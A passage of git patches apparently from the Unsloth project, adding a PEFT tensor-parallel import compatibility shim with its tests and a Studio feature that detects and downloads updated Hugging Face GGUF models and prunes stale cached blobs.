+        "ALL_PARALLEL_STYLES",
+        "ColwiseParallel",
+        "EmbeddingParallel",
+        "RowwiseParallel",
+    )
+
+
+def test_symbol_extractor_falls_back_when_getsource_fails(monkeypatch):
+    module = _load_import_fixes()
+
+    _install_fake_peft_tensor_parallel_import()
+    monkeypatch.setattr(
+        module.inspect,
+        "getsource",
+        lambda _: (_ for _ in ()).throw(ValueError("no source")),
+    )
+
+    assert module._extract_peft_tensor_parallel_imported_symbols() == (
+        "ALL_PARALLEL_STYLES",
+        "ColwiseParallel",
+        "EmbeddingParallel",
+        "RowwiseParallel",
+    )
+
+
+def test_tensor_parallel_import_module_not_found_returns_none(monkeypatch):
+    module = _load_import_fixes()
+    _install_fake_peft_tensor_parallel_import()
+
+    monkeypatch.setattr(
+        module.importlib.util,
+        "find_spec",
+        lambda name: object() if name == "transformers.integrations.tensor_parallel" else None,
+    )
+
+    def _raise_missing(name):
+        exc = ModuleNotFoundError(name)
+        exc.name = name
+        raise exc
+
+    monkeypatch.setattr(module.importlib, "import_module", _raise_missing)
+
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is None
diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.py
index 7f080336aa..e39b44488a 100644
--- a/unsloth/_gpu_init.py
+++ b/unsloth/_gpu_init.py
@@ -188,6 +188,7 @@ from .import_fixes import (
     disable_torchcodec_if_broken,
     disable_broken_wandb,
     fix_trl_vllm_ascend,
+    fix_peft_transformers_tensor_parallel_import_compat,
     fix_peft_transformers_weight_conversion_import,
     patch_peft_weight_converter_compatibility,
     patch_accelerate_recursively_apply,
@@ -219,6 +220,7 @@ disable_broken_wandb()
 # Must run before patch_peft_weight_converter_compatibility: stubs the
 # transformers v5 submodules peft 0.19.x imports, so the next patch can wrap
 # build_peft_weight_mapping instead of being swallowed by its ImportError.
+fix_peft_transformers_tensor_parallel_import_compat()
 fix_peft_transformers_weight_conversion_import()
 patch_peft_weight_converter_compatibility()
 patch_accelerate_recursively_apply()
@@ -244,6 +246,7 @@ del patch_vllm_for_notebooks
 del patch_torchcodec_audio_decoder
 del disable_torchcodec_if_broken
 del disable_broken_wandb
+del fix_peft_transformers_tensor_parallel_import_compat
 del fix_peft_transformers_weight_conversion_import
 del patch_peft_weight_converter_compatibility
 del patch_accelerate_recursively_apply
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index d979e5f22f..29e0c30dc1 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -1492,6 +1492,146 @@ def disable_broken_wandb():
 # Stamped on stub modules so a second call is a strict no-op and so third
 # parties can introspect ``__unsloth_stub__`` to detect our patch.
 _UNSLOTH_STUB_SENTINEL = "__unsloth_stub__"
+_PEFT_TENSOR_PARALLEL_FALLBACK_SYMBOLS = (
+    "ALL_PARALLEL_STYLES",
+    "ColwiseParallel",
+    "EmbeddingParallel",
+    "RowwiseParallel",
+)
+
+
+def _extract_peft_tensor_parallel_imported_symbols():
+    """Return names PEFT expects from ``transformers.integrations.tensor_parallel``.
+
+    The supported PEFT import line is the one in
+    ``peft.utils.save_and_load._maybe_shard_state_dict_for_tp`` for fast
+    LoRA adapter checkpoints. Parse that source to avoid stale hard-coded
+    symbol lists.
+    """
+    try:
+        import peft.utils.save_and_load as _save_and_load
+    except Exception:
+        return ()
+    try:
+        sharding_fn = _save_and_load._maybe_shard_state_dict_for_tp
+    except AttributeError:
+        return ()
+
+    try:
+        source = inspect.getsource(sharding_fn)
+    except Exception as exc:
+        logger.debug("Failed to inspect PEFT tensor-parallel imports: %r", exc)
+        return _PEFT_TENSOR_PARALLEL_FALLBACK_SYMBOLS
+
+    import_pattern = re.compile(
+        r"from\s+transformers\.integrations\.tensor_parallel\s+import\s*\((.*?)\)",
+        re.S,
+    )
+    import_pattern_single = re.compile(
+        r"from\s+transformers\.integrations\.tensor_parallel\s+import\s+([A-Za-z_][A-Za-z0-9_\s,]*)",
+        re.S,
+    )
+    matches = import_pattern.findall(source)
+    if not matches:
+        matches = import_pattern_single.findall(source)
+
+    symbols = []
+    seen = set()
+    for match in matches:
+        pieces = re.split(r"[,\n]", match)
+        for piece in pieces:
+            candidate = piece.strip()
+            if not candidate:
+                continue
+            if candidate.endswith(")"):
+                candidate = candidate[:-1].strip()
+            if not candidate.isidentifier():
+                continue
+            if candidate in seen:
+                continue
+            symbols.append(candidate)
+            seen.add(candidate)
+    return tuple(symbols) or _PEFT_TENSOR_PARALLEL_FALLBACK_SYMBOLS
+
+
+def _raise_on_peft_tensor_parallel_symbol_use(symbol_name):
+    raise NotImplementedError(
+        f"Unsloth: cannot use unsupported "
+        f"`transformers.integrations.tensor_parallel.{symbol_name}` on this "
+        f"transformers installation. Please upgrade transformers before "
+        f"using PEFT tensor-parallel adapter sharding features."
+    )
+
+
+def fix_peft_transformers_tensor_parallel_import_compat():
+    """Preserve existing ``transformers.integrations.tensor_parallel`` objects, then add
+    lightweight placeholders for symbols that PEFT expects but this transformers
+    build omits.
+
+    Returns ``True`` when patched, ``False`` when no patch is needed, and
+    ``None`` when transformers / PEFT context is absent.
+    """
+    try:
+        tensor_parallel_spec = importlib.util.find_spec("transformers.integrations.tensor_parallel")
+    except ModuleNotFoundError:
+        return None
+    if tensor_parallel_spec is None:
+        return None
+
+    required_symbols = _extract_peft_tensor_parallel_imported_symbols()
+    if not required_symbols:
+        return None
+
+    try:
+        tp_mod = importlib.import_module("transformers.integrations.tensor_parallel")
+    except ModuleNotFoundError as exc:
+        if exc.name not in {
+            "transformers",
+            "transformers.integrations",
+            "transformers.integrations.tensor_parallel",
+        }:
+            raise
+        return None
+    missing = [symbol for symbol in required_symbols if not hasattr(tp_mod, symbol)]
+    if not missing:
+        return False
+
+    def _install_symbol_placeholder(symbol_name):
+        if symbol_name == "ALL_PARALLEL_STYLES":
+
+            class _UnslothTensorParallelStyles(dict):
+                def __getitem__(self, key):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+                def get(self, *args, **kwargs):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+                def __contains__(self, key):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+                def __iter__(self):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+                def __len__(self):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+            value = _UnslothTensorParallelStyles()
+        else:
+
+            class _UnslothTensorParallelPlaceholder:
+                def __init__(self, *args, **kwargs):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+            value = _UnslothTensorParallelPlaceholder
+            value.__name__ = f"UnslothTensorParallelPlaceholder{symbol_name}"
+
+        setattr(value, _UNSLOTH_STUB_SENTINEL, True)
+        setattr(tp_mod, symbol_name, value)
+
+    for symbol in missing:
+        _install_symbol_placeholder(symbol)
+
+    return True
 
 
 def _peft_stub_module_importable(name):

From d0f8d40c36709447595acad3b3f4468fc8b0edaf Mon Sep 17 00:00:00 2001
From: Anish Umale <umaleanish120@gmail.com>
Date: Wed, 1 Jul 2026 04:24:57 +0530
Subject: [PATCH 163/306] studio: allow updating HF models through UI (#5388)

* add models for /update endpoint

* add logic for identifying out of date hf models

* add endpoint for updating hf models

* add relevant field to GgufVariantDetail

* make exception handling better

* add update_available flag for cached_models, and moved /update endpoint from inference -> models

* hook up /update endpoint on the frontend

* implement update scenarios for the model picker

* fix bug where downloaded flag for an older revision was being wrongly set to false

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix import and make hf calls async

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* remove has_vision from UpdateRequest

* fix ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* clear cancel event before updating gguf variant

* set _cancel_event back if it was set initially

* add hf_token to get_paths_info

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: harden model update endpoint and update checks

- update_hf_model: pass snapshot_download local_dir (local_path is not a
  valid kwarg and 500s when updating bicodec audio models)
- get_gguf_variants: wrap the remote update check so a network, rate-limit,
  gated, or offline failure degrades to "no update info" instead of failing
  the whole variant listing, matching list_cached_models
- add regression tests for both paths

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: HF model update detection and Update action for cached models

Surface an "Update available" cue and a managed Update action for cached
on-device models. /api/hub/update-status compares each cached main GGUF
file's local blobs against the remote main revision using set membership
across all cached revisions, so a repo that was already updated (and still
holds the old snapshot alongside the new one) is not falsely flagged.

The Update action re-downloads through the download manager so it shows in
the Downloads panel with progress and cancel. The frontend wires the Update
button into the GGUF, on-device, and model-selector cards and keeps the
quant label fully visible when the action buttons crowd the row.

Adds regression tests for the multi-revision update check.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: accept force_download kwarg in hf_xet_fallback test double

The download seam now passes force_download to the attempt callable; the _FakeAttempt mock did not accept it, failing 6 tests with TypeError. Add the keyword (default False) so the scripted-results double matches the seam.

* Fix Studio model update regressions

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address Studio update review feedback

* Address Studio update edge cases

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Share GGUF update status helper

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix GGUF update detection and cache cleanup

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix cached GGUF update badges

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |  74 ++-
 studio/backend/hub/schemas/inventory.py       |   3 +
 .../hub/services/models/cache_inventory.py    |  54 +-
 .../backend/hub/services/models/deletion.py   | 202 ++++++++
 .../hub/services/models/gguf_variants.py      |  80 ++-
 .../backend/hub/tests/test_model_services.py  |  28 +
 studio/backend/hub/utils/gguf_plan.py         |   5 +-
 studio/backend/hub/utils/inventory_scan.py    |  46 ++
 studio/backend/hub/workers/hf_download.py     |  15 +
 studio/backend/models/models.py               |   4 +
 studio/backend/routes/models.py               | 160 +++---
 .../backend/tests/test_cached_gguf_routes.py  |  61 ++-
 studio/backend/tests/test_hf_xet_fallback.py  |   1 +
 .../tests/test_model_update_robustness.py     | 483 ++++++++++++++++++
 studio/backend/utils/hf_xet_fallback.py       |  26 +-
 .../model-selector/model-delete-action.tsx    |  41 +-
 .../model-selector/model-update-action.tsx    | 106 ++++
 .../assistant-ui/model-selector/pickers.tsx   | 254 +++++++--
 .../src/features/chat/api/chat-api.ts         |  14 +-
 .../frontend/src/features/chat/types/api.ts   |   2 +
 .../features/hub/catalog/download-card.tsx    | 114 ++++-
 .../hub/catalog/gguf-download-card.tsx        | 180 +++++--
 .../hub/catalog/local-on-device-card.tsx      | 139 ++++-
 .../src/features/hub/inventory/api.ts         |   1 +
 24 files changed, 1797 insertions(+), 296 deletions(-)
 create mode 100644 studio/backend/tests/test_model_update_robustness.py
 create mode 100644 studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 347f469d33..211543e311 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -3697,12 +3697,22 @@ class LlamaCppBackend:
         hf_repo: str,
         hf_variant: Optional[str] = None,
         hf_token: Optional[str] = None,
+        force: bool = False,
+        allow_smaller_fallback: bool = True,
+        cancel_event: Optional[threading.Event] = None,
     ) -> str:
         """Download GGUF file(s) from HuggingFace. Returns local path.
 
         Runs WITHOUT self._lock so unload_model() can set _cancel_event at
         any time; checks it between each shard download.
+
+        ``force`` re-fetches even when a (possibly stale) blob is cached.
+        ``allow_smaller_fallback=False`` raises on low disk instead of silently
+        switching to a smaller quant. ``cancel_event`` overrides
+        ``self._cancel_event`` so an update can use a private event without
+        touching the shared one; defaults to the shared event.
         """
+        cancel_event = cancel_event if cancel_event is not None else self._cancel_event
         try:
             import huggingface_hub  # noqa: F401 -- presence check only
         except ImportError:
@@ -3768,21 +3778,22 @@ class LlamaCppBackend:
             # cold whenever free disk is below the full weight footprint,
             # even though nothing needs downloading.
             already_cached_bytes = 0
-            for p in path_infos:
-                if not p.size:
-                    continue
-                try:
-                    cached_path = try_to_load_from_cache(hf_repo, p.path)
-                except Exception:
-                    cached_path = None
-                if isinstance(cached_path, str) and os.path.exists(cached_path):
+            if not force:
+                for p in path_infos:
+                    if not p.size:
+                        continue
                     try:
-                        on_disk = os.path.getsize(cached_path)
-                    except OSError:
-                        on_disk = 0
-                    # Satisfied only when the full blob is present.
-                    if on_disk >= p.size:
-                        already_cached_bytes += p.size
+                        cached_path = try_to_load_from_cache(hf_repo, p.path)
+                    except Exception:
+                        cached_path = None
+                    if isinstance(cached_path, str) and os.path.exists(cached_path):
+                        try:
+                            on_disk = os.path.getsize(cached_path)
+                        except OSError:
+                            on_disk = 0
+                        # Satisfied only when the full blob is present.
+                        if on_disk >= p.size:
+                            already_cached_bytes += p.size
 
             total_download_bytes = max(0, total_bytes - already_cached_bytes)
 
@@ -3805,6 +3816,13 @@ class LlamaCppBackend:
                 )
 
                 if total_download_bytes > free_bytes:
+                    if not allow_smaller_fallback:
+                        # Update path: never silently switch to a smaller quant;
+                        # surface the disk shortfall for the requested variant.
+                        raise RuntimeError(
+                            f"Not enough disk space to download {gguf_filename}. "
+                            f"Only {free_gb:.1f} GB free in {cache_dir}"
+                        )
                     smaller = self._find_smallest_fitting_variant(
                         hf_repo,
                         free_bytes,
@@ -3845,7 +3863,7 @@ class LlamaCppBackend:
         )
         logger.info(f"Resolving GGUF: {gguf_label}")
         try:
-            if self._cancel_event.is_set():
+            if cancel_event.is_set():
                 raise RuntimeError("Cancelled")
             dl_start = time.monotonic()
             # Xet primary, HTTP fallback on stall; per-file so finished shards stay cached.
@@ -3853,18 +3871,20 @@ class LlamaCppBackend:
                 hf_repo,
                 gguf_filename,
                 hf_token,
-                cancel_event = self._cancel_event,
+                cancel_event = cancel_event,
                 on_status = lambda m: logger.info(m),
+                force_download = force,
             )
             for shard in gguf_extra_shards:
-                if self._cancel_event.is_set():
+                if cancel_event.is_set():
                     raise RuntimeError("Cancelled")
                 logger.info(f"Resolving GGUF shard: {shard}")
                 hf_hub_download_with_xet_fallback(
                     hf_repo,
                     shard,
                     hf_token,
-                    cancel_event = self._cancel_event,
+                    cancel_event = cancel_event,
+                    force_download = force,
                 )
         except Exception as e:
             if isinstance(e, RuntimeError) and "Cancelled" in str(e):
@@ -3887,6 +3907,7 @@ class LlamaCppBackend:
         hf_token: Optional[str],
         pick: Callable[[list[str]], Optional[str]],
         label: str,
+        cancel_event: Optional[threading.Event] = None,
     ) -> Optional[str]:
         """Resolve and fetch a companion GGUF (mmproj / MTP drafter) by name.
 
@@ -3894,8 +3915,10 @@ class LlamaCppBackend:
         (offline, same fallback as _download_gguf), then hf_hub_download.
         Runs WITHOUT self._lock (like _download_gguf); honors _cancel_event so
         an /unload between the main download and here skips the fetch.
+        ``cancel_event`` overrides ``self._cancel_event`` (defaults to it).
         """
-        if self._cancel_event.is_set():
+        cancel_event = cancel_event if cancel_event is not None else self._cancel_event
+        if cancel_event.is_set():
             return None
 
         target: Optional[str] = None
@@ -3904,7 +3927,7 @@ class LlamaCppBackend:
         # Retry a transient listing blip; permanent repo/auth errors and offline
         # mode are not retried (offline raises at once -> fall through to cache).
         for attempt in range(3):
-            if self._cancel_event.is_set():
+            if cancel_event.is_set():
                 return None
             try:
                 target = pick(list_repo_files(hf_repo, token = hf_token))
@@ -3923,7 +3946,7 @@ class LlamaCppBackend:
                     f"Could not list repo files for {label} (attempt {attempt + 1}/3): {e}"
                 )
                 if attempt < 2:
-                    self._cancel_event.wait(2**attempt)
+                    cancel_event.wait(2**attempt)
 
         if target is None:
             try:
@@ -3937,7 +3960,7 @@ class LlamaCppBackend:
             except Exception as e:
                 logger.debug(f"Offline cache lookup for {label} failed: {e}")
 
-        if target is None or self._cancel_event.is_set():
+        if target is None or cancel_event.is_set():
             return None
 
         try:
@@ -3947,7 +3970,7 @@ class LlamaCppBackend:
                 hf_repo,
                 target,
                 hf_token,
-                cancel_event = self._cancel_event,
+                cancel_event = cancel_event,
             )
         except Exception as e:
             logger.warning(f"Could not download {label}: {e}")
@@ -3958,11 +3981,13 @@ class LlamaCppBackend:
         *,
         hf_repo: str,
         hf_token: Optional[str] = None,
+        cancel_event: Optional[threading.Event] = None,
     ) -> Optional[str]:
         """Download the mmproj (vision projection) file from a GGUF repo.
 
         Prefers mmproj-F16.gguf, else any mmproj*.gguf. Returns the local
-        path, or None if none exists.
+        path, or None if none exists. ``cancel_event`` overrides
+        ``self._cancel_event`` (defaults to it).
         """
 
         def _pick_mmproj(candidates: list[str]) -> Optional[str]:
@@ -3983,6 +4008,7 @@ class LlamaCppBackend:
             hf_token = hf_token,
             pick = _pick_mmproj,
             label = "mmproj",
+            cancel_event = cancel_event,
         )
 
     def _download_mtp(
diff --git a/studio/backend/hub/schemas/inventory.py b/studio/backend/hub/schemas/inventory.py
index 44ff545e76..ef95efe2f2 100644
--- a/studio/backend/hub/schemas/inventory.py
+++ b/studio/backend/hub/schemas/inventory.py
@@ -27,6 +27,9 @@ class GgufVariantDetail(BaseModel):
     downloaded: bool = Field(
         False, description = "Whether this variant is already in the local HF cache"
     )
+    update_available: bool = Field(
+        False, description = "Whether a newer main GGUF blob is available on Hugging Face"
+    )
     partial: bool = Field(
         False,
         description = "Whether this variant has an in-progress (.incomplete) blob in cache",
diff --git a/studio/backend/hub/services/models/cache_inventory.py b/studio/backend/hub/services/models/cache_inventory.py
index a961a6ae9d..a27e4860e6 100644
--- a/studio/backend/hub/services/models/cache_inventory.py
+++ b/studio/backend/hub/services/models/cache_inventory.py
@@ -39,8 +39,10 @@ from hub.services.models.common import (
 
 logger = get_logger(__name__)
 
-_repo_size_cache: "OrderedDict[tuple[str, str], tuple[int, frozenset[str], float]]" = OrderedDict()
-_repo_size_neg_cache: "OrderedDict[tuple[str, str], float]" = OrderedDict()
+_repo_size_cache: "OrderedDict[tuple[str, str, str], tuple[int, frozenset[str], float]]" = (
+    OrderedDict()
+)
+_repo_size_neg_cache: "OrderedDict[tuple[str, str, str], float]" = OrderedDict()
 _REPO_SIZE_CACHE_MAX = 256
 _REPO_SIZE_POS_TTL = 60.0
 _REPO_SIZE_NEG_TTL = 60.0
@@ -52,7 +54,7 @@ def get_repo_snapshot_metadata_cached(
     repo_id: str, hf_token: Optional[str] = None
 ) -> tuple[int, frozenset[str]]:
     token_fp = hf_cache_scan.token_fingerprint(hf_token)
-    cache_key = (repo_id, token_fp)
+    cache_key = (repo_id, token_fp, "snapshot")
     with _repo_size_cache_lock:
         cached = _repo_size_cache.get(cache_key)
         if cached is not None:
@@ -119,6 +121,52 @@ def _repo_has_gguf_files(repo_info) -> bool:
     return _repo_gguf_size_bytes(repo_info) > 0
 
 
+def _cached_repo_file_name(file_obj) -> str:
+    file_path = getattr(file_obj, "file_path", None)
+    if file_path:
+        try:
+            path = Path(file_path)
+            parts = path.parts
+            snapshots_idx = max(i for i, part in enumerate(parts) if part == "snapshots")
+            if len(parts) > snapshots_idx + 2:
+                return Path(*parts[snapshots_idx + 2 :]).as_posix()
+        except Exception:
+            pass
+    return str(getattr(file_obj, "file_name", "")).replace("\\", "/")
+
+
+def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[str, set[str]]:
+    """Map each cached GGUF file's repo-relative name to the SET of its local
+    blob hashes across all cached revisions.
+
+    HF names each local cache blob FILE by the file's etag (lfs.sha256 else
+    blob_id), so a local file's blob hash == ``Path(blob_path).name``. An updated
+    repo keeps BOTH the old and new revision snapshots until HF garbage-collects
+    them, so the same file resolves to several blobs; collecting them ALL (not
+    just the first one seen, since ``repo_info.revisions`` is a frozenset and
+    yields them in arbitrary order) lets the remote-vs-local diff treat the file
+    as current when the remote (``main``) blob is present in any cached revision.
+    Mirrors the ``cached_blob_ids`` membership test in routes/models.py.
+
+    By default this keeps the historical MAIN-GGUF-only behavior. GGUF update
+    checks opt into companions so a shared mmproj/MTP blob can be compared too.
+    """
+    blob_map: dict[str, set[str]] = {}
+    for revision in repo_info.revisions:
+        for f in revision.files:
+            if include_companions:
+                if not _is_gguf_filename(f.file_name):
+                    continue
+            elif not _is_main_gguf_filename(f.file_name):
+                continue
+            blob_path = getattr(f, "blob_path", None)
+            if not blob_path:
+                continue
+            name = _cached_repo_file_name(f)
+            blob_map.setdefault(name, set()).add(Path(blob_path).name)
+    return blob_map
+
+
 def _prefer_cache_row(candidate: dict, existing: Optional[dict]) -> bool:
     if existing is None:
         return True
diff --git a/studio/backend/hub/services/models/deletion.py b/studio/backend/hub/services/models/deletion.py
index 916bb9d4f8..e7c54fc75b 100644
--- a/studio/backend/hub/services/models/deletion.py
+++ b/studio/backend/hub/services/models/deletion.py
@@ -153,6 +153,30 @@ def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, l
     return removed, failures
 
 
+def _remove_empty_snapshot_dirs(target_repos: list) -> tuple[int, list[str]]:
+    removed = 0
+    failures: list[str] = []
+    for target_repo in target_repos:
+        repo_path = getattr(target_repo, "repo_path", None)
+        if not repo_path:
+            continue
+        snapshots = Path(repo_path) / "snapshots"
+        if not snapshots.is_dir():
+            continue
+        try:
+            snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()]
+        except OSError:
+            continue
+        for snap in snap_dirs:
+            try:
+                snap.rmdir()
+                removed += 1
+            except OSError as e:
+                if e.errno != errno.ENOTEMPTY:
+                    failures.append(f"{snap.name}: {e}")
+    return removed, failures
+
+
 def _delete_gguf_variant_from_repos(
     repo_id: str,
     variant: str,
@@ -255,6 +279,9 @@ def _delete_gguf_variant_from_repos(
     state_purged = download_manifest.purge_state("model", repo_id, variant)
     # Reclaim the empty quant folder so it stops 404ing on delete.
     removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
+    removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)
+    removed_dirs += removed_snap_dirs
+    dir_failures.extend(snap_dir_failures)
     if dir_failures:
         raise HTTPException(
             status_code = 409,
@@ -284,6 +311,181 @@ def _delete_gguf_variant_from_repos(
     return {"status": "deleted", "repo_id": repo_id, "variant": variant}
 
 
+def reclaim_replaced_gguf_variant(
+    repo_id: str,
+    variant: str,
+    keep_main_hashes: frozenset[str],
+    hf_token: Optional[str] = None,
+) -> dict:
+    """Prune stale main-GGUF files for a variant after a replacement verified.
+
+    This is intentionally narrower than user-driven delete: it removes only
+    same-variant main files whose local blob hash is not in *keep_main_hashes*,
+    then unlinks their blobs only if no remaining snapshot references them.
+    Shared companions and sibling variants are left intact.
+    """
+    if not keep_main_hashes:
+        logger.info(
+            "Skipping stale GGUF reclaim for %s [%s]: current main hashes unresolved",
+            repo_id,
+            variant,
+        )
+        return {
+            "status": "skipped",
+            "repo_id": repo_id,
+            "variant": variant,
+            "reason": "unresolved_hashes",
+        }
+    if not _is_valid_repo_id(repo_id) or not _is_valid_gguf_variant(variant):
+        return {
+            "status": "skipped",
+            "repo_id": repo_id,
+            "variant": variant,
+            "reason": "invalid_target",
+        }
+
+    failures: list[str] = []
+    removed_snapshots = 0
+    deleted_blobs = 0
+    deleted_bytes = 0
+    variant_key = variant.lower()
+
+    try:
+        cache_scans = cache_inventory.all_hf_cache_scans()
+    except Exception as e:
+        logger.warning(
+            "Skipping stale GGUF reclaim for %s [%s]: cache scan failed: %s",
+            repo_id,
+            variant,
+            download_registry.scrub_secrets(str(e), hf_token = hf_token),
+        )
+        return {
+            "status": "skipped",
+            "repo_id": repo_id,
+            "variant": variant,
+            "reason": "scan_failed",
+        }
+
+    candidate_repos = [
+        repo_info
+        for hf_cache in cache_scans
+        for repo_info in hf_cache.repos
+        if str(getattr(repo_info, "repo_type", "")) == "model"
+        and str(getattr(repo_info, "repo_id", "")).lower() == repo_id.lower()
+    ]
+    try:
+        matched_repo_ids = resolve_destructive_repo_ids(
+            repo_id,
+            [str(getattr(repo_info, "repo_id", "")) for repo_info in candidate_repos],
+            noun = "models",
+        )
+    except HTTPException as e:
+        detail = getattr(e, "detail", str(e))
+        logger.warning(
+            "Skipping stale GGUF reclaim for %s [%s]: %s",
+            repo_id,
+            variant,
+            download_registry.scrub_secrets(str(detail), hf_token = hf_token),
+        )
+        return {
+            "status": "skipped",
+            "repo_id": repo_id,
+            "variant": variant,
+            "reason": "ambiguous_repo",
+        }
+    target_repos = [
+        repo_info
+        for repo_info in candidate_repos
+        if str(getattr(repo_info, "repo_id", "")) in matched_repo_ids
+    ]
+
+    for target_repo in target_repos:
+        repo_dir = Path(target_repo.repo_path) if getattr(target_repo, "repo_path", None) else None
+        stale_matches: list[tuple[Path, Optional[Path], str]] = []
+        matches = _repo_file_matches(
+            target_repo,
+            lambda name: _is_main_gguf_filename(name)
+            and extract_quant_label(name).lower() == variant_key,
+        )
+        for snap, blob, name in matches:
+            blob_hash = _blob_hash_from_path(blob) if blob is not None else None
+            if blob_hash is None or blob_hash in keep_main_hashes:
+                continue
+            stale_matches.append((snap, blob, name))
+
+        if not stale_matches:
+            continue
+
+        for snap, _blob, name in stale_matches:
+            try:
+                if _path_exists_or_symlink(snap):
+                    snap.unlink()
+                    removed_snapshots += 1
+            except OSError as e:
+                failures.append(f"{name}: {e}")
+
+        ref_counts = _snapshot_blob_reference_counts(repo_dir)
+        seen_blobs: set[Path] = set()
+        for _snap, blob, name in stale_matches:
+            if blob is None:
+                continue
+            try:
+                blob_key = blob.resolve()
+            except OSError:
+                blob_key = blob
+            if blob_key in seen_blobs:
+                continue
+            seen_blobs.add(blob_key)
+            if ref_counts.get(blob_key, 0) > 0:
+                continue
+            try:
+                if blob.exists():
+                    deleted_bytes += blob.stat().st_size
+                    blob.unlink()
+                    deleted_blobs += 1
+            except OSError as e:
+                failures.append(f"{name}: {e}")
+
+    removed_dirs = 0
+    dir_failures: list[str] = []
+    if target_repos:
+        removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
+        removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)
+        removed_dirs += removed_snap_dirs
+        dir_failures.extend(snap_dir_failures)
+        failures.extend(dir_failures)
+
+    if failures:
+        logger.warning(
+            "Stale GGUF reclaim for %s [%s] left %d failure(s): %s",
+            repo_id,
+            variant,
+            len(failures),
+            "; ".join(failures[:3]),
+        )
+
+    if removed_snapshots or deleted_blobs or removed_dirs:
+        cache_inventory.invalidate_hf_cache_scans()
+        logger.info(
+            "Reclaimed stale GGUF %s [%s]: snapshots=%d blobs=%d dirs=%d freed=%.1f MB",
+            repo_id,
+            variant,
+            removed_snapshots,
+            deleted_blobs,
+            removed_dirs,
+            deleted_bytes / (1024 * 1024),
+        )
+
+    return {
+        "status": "reclaimed",
+        "repo_id": repo_id,
+        "variant": variant,
+        "removed_snapshots": removed_snapshots,
+        "deleted_blobs": deleted_blobs,
+        "removed_dirs": removed_dirs,
+    }
+
+
 def _loaded_id_matches_repo(loaded_id: str, repo_id: str) -> bool:
     """True when *loaded_id* is *repo_id* or a file within it; ``/``-boundary aware so ``org/model`` doesn't match sibling ``org/model-v2``."""
     rid = repo_id.lower()
diff --git a/studio/backend/hub/services/models/gguf_variants.py b/studio/backend/hub/services/models/gguf_variants.py
index 0c0e6f9254..0147bba19a 100644
--- a/studio/backend/hub/services/models/gguf_variants.py
+++ b/studio/backend/hub/services/models/gguf_variants.py
@@ -291,6 +291,75 @@ def _partial_transport_for_variant(repo_id: str, variant: str) -> Optional[str]:
     return hf_cache_scan.partial_transport_for("model", repo_id, variant)
 
 
+def _local_main_gguf_blobs_by_quant(repo_id: str) -> dict[str, dict[str, set[str]]]:
+    """Map quant -> repo-relative expected GGUF filename -> cached blob hashes.
+
+    Shared companions are copied into each main-quant bucket so update checks can
+    detect mmproj/MTP-only upstream changes without a separate remote call.
+    """
+    result: dict[str, dict[str, set[str]]] = {}
+    companion_blobs: dict[str, set[str]] = {}
+    try:
+        from hub.services.models import cache_inventory
+        scans = cache_inventory.all_hf_cache_scans()
+    except Exception as e:
+        logger.warning("Failed to scan local GGUF blobs for %s: %s", repo_id, e)
+        return result
+
+    target_lower = repo_id.lower()
+    for hf_cache in scans:
+        for repo_info in hf_cache.repos:
+            if str(getattr(repo_info, "repo_type", "")) != "model":
+                continue
+            if str(getattr(repo_info, "repo_id", "")).lower() != target_lower:
+                continue
+            for path, hashes in cache_inventory._repo_gguf_blob_map(
+                repo_info,
+                include_companions = True,
+            ).items():
+                normalized = str(path).replace("\\", "/")
+                if not hashes:
+                    continue
+                if _is_mmproj_filename(normalized) or _is_mtp_drafter_path(normalized):
+                    companion_blobs.setdefault(normalized, set()).update(
+                        str(blob) for blob in hashes if blob
+                    )
+                    continue
+                quant = extract_quant_label(normalized).lower()
+                if is_big_endian_gguf_path(normalized, quant):
+                    continue
+                bucket = result.setdefault(quant, {}).setdefault(normalized, set())
+                bucket.update(str(blob) for blob in hashes if blob)
+    if companion_blobs:
+        for local_blobs in result.values():
+            for path, hashes in companion_blobs.items():
+                local_blobs.setdefault(path, set()).update(hashes)
+    return result
+
+
+def _variant_update_available_from_requirement(
